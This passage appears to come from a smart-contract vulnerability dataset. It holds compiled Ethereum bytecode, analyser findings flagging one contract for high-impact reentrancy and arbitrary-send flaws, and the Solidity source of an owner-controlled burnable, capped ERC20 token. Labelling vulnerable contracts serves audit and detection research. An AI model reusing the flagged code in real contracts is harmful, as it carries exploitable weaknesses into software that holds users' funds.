f16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220693c074c5c8a105eb0230917578681a309822caa99dcd5ab36d094d72d3d14c464736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,955 |
0x31DAB3430f3081dfF3Ccd80F17AD98583437B213
|
/**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
abstract contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
modifier onlyOwner() {
require(owner == msg.sender, 'NOT_OWNER');
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'ZERO_ADDR');
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) private _uintStorage;
mapping(bytes32 => string) private _stringStorage;
mapping(bytes32 => address) private _addressStorage;
mapping(bytes32 => bytes) private _bytesStorage;
mapping(bytes32 => bool) private _boolStorage;
mapping(bytes32 => int256) private _intStorage;
// *** Getter Methods ***
function getUint(bytes32 key) public view returns (uint256) {
return _uintStorage[key];
}
function getString(bytes32 key) public view returns (string memory) {
return _stringStorage[key];
}
function getAddress(bytes32 key) public view returns (address) {
return _addressStorage[key];
}
function getBytes(bytes32 key) public view returns (bytes memory) {
return _bytesStorage[key];
}
function getBool(bytes32 key) public view returns (bool) {
return _boolStorage[key];
}
function getInt(bytes32 key) public view returns (int256) {
return _intStorage[key];
}
// *** Setter Methods ***
function _setUint(bytes32 key, uint256 value) internal {
_uintStorage[key] = value;
}
function _setString(bytes32 key, string memory value) internal {
_stringStorage[key] = value;
}
function _setAddress(bytes32 key, address value) internal {
_addressStorage[key] = value;
}
function _setBytes(bytes32 key, bytes memory value) internal {
_bytesStorage[key] = value;
}
function _setBool(bytes32 key, bool value) internal {
_boolStorage[key] = value;
}
function _setInt(bytes32 key, int256 value) internal {
_intStorage[key] = value;
}
// *** Delete Methods ***
function _deleteUint(bytes32 key) internal {
delete _uintStorage[key];
}
function _deleteString(bytes32 key) internal {
delete _stringStorage[key];
}
function _deleteAddress(bytes32 key) internal {
delete _addressStorage[key];
}
function _deleteBytes(bytes32 key) internal {
delete _bytesStorage[key];
}
function _deleteBool(bytes32 key) internal {
delete _boolStorage[key];
}
function _deleteInt(bytes32 key) internal {
delete _intStorage[key];
}
}
contract Burner {
constructor(address tokenAddress, bytes32 salt) {
BurnableMintableCappedERC20(tokenAddress).burn(salt);
selfdestruct(payable(address(0)));
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public override totalSupply;
string public name;
string public symbol;
uint8 public immutable decimals;
/**
* @dev Sets the values for {name}, {symbol}, and {decimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowance[sender][_msgSender()] - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowance[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowance[_msgSender()][spender] - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ZERO_ADDR');
require(recipient != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(sender, recipient, amount);
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(address(0), account, amount);
totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(account, address(0), amount);
balanceOf[account] -= amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ZERO_ADDR');
require(spender != address(0), 'ZERO_ADDR');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BurnableMintableCappedERC20 is ERC20, Ownable {
uint256 public cap;
bytes32 private constant PREFIX_TOKEN_FROZEN = keccak256('token-frozen');
bytes32 private constant KEY_ALL_TOKENS_FROZEN = keccak256('all-tokens-frozen');
event Frozen(address indexed owner);
event Unfrozen(address indexed owner);
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 capacity
) ERC20(name, symbol, decimals) Ownable() {
cap = capacity;
}
function depositAddress(bytes32 salt) public view returns (address) {
// This would be easier, cheaper, simpler, and result in globally consistent deposit addresses for any salt (all chains, all tokens).
// return address(uint160(uint256(keccak256(abi.encodePacked(bytes32(0x000000000000000000000000000000000000000000000000000000000000dead), salt)))));
/* Convert a hash which is bytes32 to an address which is 20-byte long
according to https://docs.soliditylang.org/en/v0.8.1/control-structures.html?highlight=create2#salted-contract-creations-create2 */
return
address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes1(0xff),
owner,
salt,
keccak256(abi.encodePacked(type(Burner).creationCode, abi.encode(address(this)), salt))
)
)
)
)
);
}
function mint(address account, uint256 amount) public onlyOwner {
uint256 capacity = cap;
require(capacity == 0 || totalSupply + amount <= capacity, 'CAP_EXCEEDED');
_mint(account, amount);
}
function burn(bytes32 salt) public onlyOwner {
address account = depositAddress(salt);
_burn(account, balanceOf[account]);
}
function _beforeTokenTransfer(
address,
address,
uint256
) internal view override {
require(!EternalStorage(owner).getBool(KEY_ALL_TOKENS_FROZEN), 'IS_FROZEN');
require(!EternalStorage(owner).getBool(keccak256(abi.encodePacked(PREFIX_TOKEN_FROZEN, symbol))), 'IS_FROZEN');
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806339509351116100a257806395d89b411161007157806395d89b4114610256578063a457c2d71461025e578063a9059cbb14610271578063dd62ed3e14610284578063f2fde38b146102af57600080fd5b806339509351146101fd57806340c10f191461021057806370a08231146102235780638da5cb5b1461024357600080fd5b806323b872dd116100de57806323b872dd1461017d578063313ce5671461019057806331eecaf4146101c9578063355274ea146101f457600080fd5b806306fdde031461011057806308a1eee11461012e578063095ea7b31461014357806318160ddd14610166575b600080fd5b6101186102c2565b6040516101259190610bf8565b60405180910390f35b61014161013c366004610c2b565b610350565b005b610156610151366004610c60565b6103b9565b6040519015158152602001610125565b61016f60025481565b604051908152602001610125565b61015661018b366004610c8a565b6103cf565b6101b77f000000000000000000000000000000000000000000000000000000000000000681565b60405160ff9091168152602001610125565b6101dc6101d7366004610c2b565b610421565b6040516001600160a01b039091168152602001610125565b61016f60065481565b61015661020b366004610c60565b610505565b61014161021e366004610c60565b61053c565b61016f610231366004610cc6565b60006020819052908152604090205481565b6005546101dc906001600160a01b031681565b6101186105cd565b61015661026c366004610c60565b6105da565b61015661027f366004610c60565b610611565b61016f610292366004610ce8565b600160209081526000928352604080842090915290825290205481565b6101416102bd366004610cc6565b61061e565b600380546102cf90610d1b565b80601f01602080910402602001604051908101604052809291908181526020018280546102fb90610d1b565b80156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b505050505081565b6005546001600160a01b031633146103835760405162461bcd60e51b815260040161037a90610d56565b60405180910390fd5b600061038e82610421565b6001600160a01b0381166000908152602081905260409020549091506103b59082906106ca565b5050565b60006103c6338484610788565b50600192915050565b60006103dc848484610836565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610417918691610412908690610d8f565b610788565b5060019392505050565b6005546040516000916001600160f81b0319916001600160a01b0390911690849061044e60208201610bbc565b601f1982820381018352601f9091011660408181523060208301520160408051601f198184030181529082905261048a92918890602001610da6565b604051602081830303815290604052805190602001206040516020016104e794939291906001600160f81b031994909416845260609290921b6bffffffffffffffffffffffff191660018401526015830152603582015260550190565b60408051601f19818403018152919052805160209091012092915050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c6918590610412908690610ddb565b6005546001600160a01b031633146105665760405162461bcd60e51b815260040161037a90610d56565b600654801580610583575080826002546105809190610ddb565b11155b6105be5760405162461bcd60e51b815260206004820152600c60248201526b10d05417d15610d15151115160a21b604482015260640161037a565b6105c8838361092e565b505050565b600480546102cf90610d1b565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c6918590610412908690610d8f565b60006103c6338484610836565b6005546001600160a01b031633146106485760405162461bcd60e51b815260040161037a90610d56565b6001600160a01b03811661066e5760405162461bcd60e51b815260040161037a90610df3565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106f05760405162461bcd60e51b815260040161037a90610df3565b6106fc826000836109e2565b6001600160a01b03821660009081526020819052604081208054839290610724908490610d8f565b92505081905550806002600082825461073d9190610d8f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b0383166107ae5760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0382166107d45760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661085c5760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0382166108825760405162461b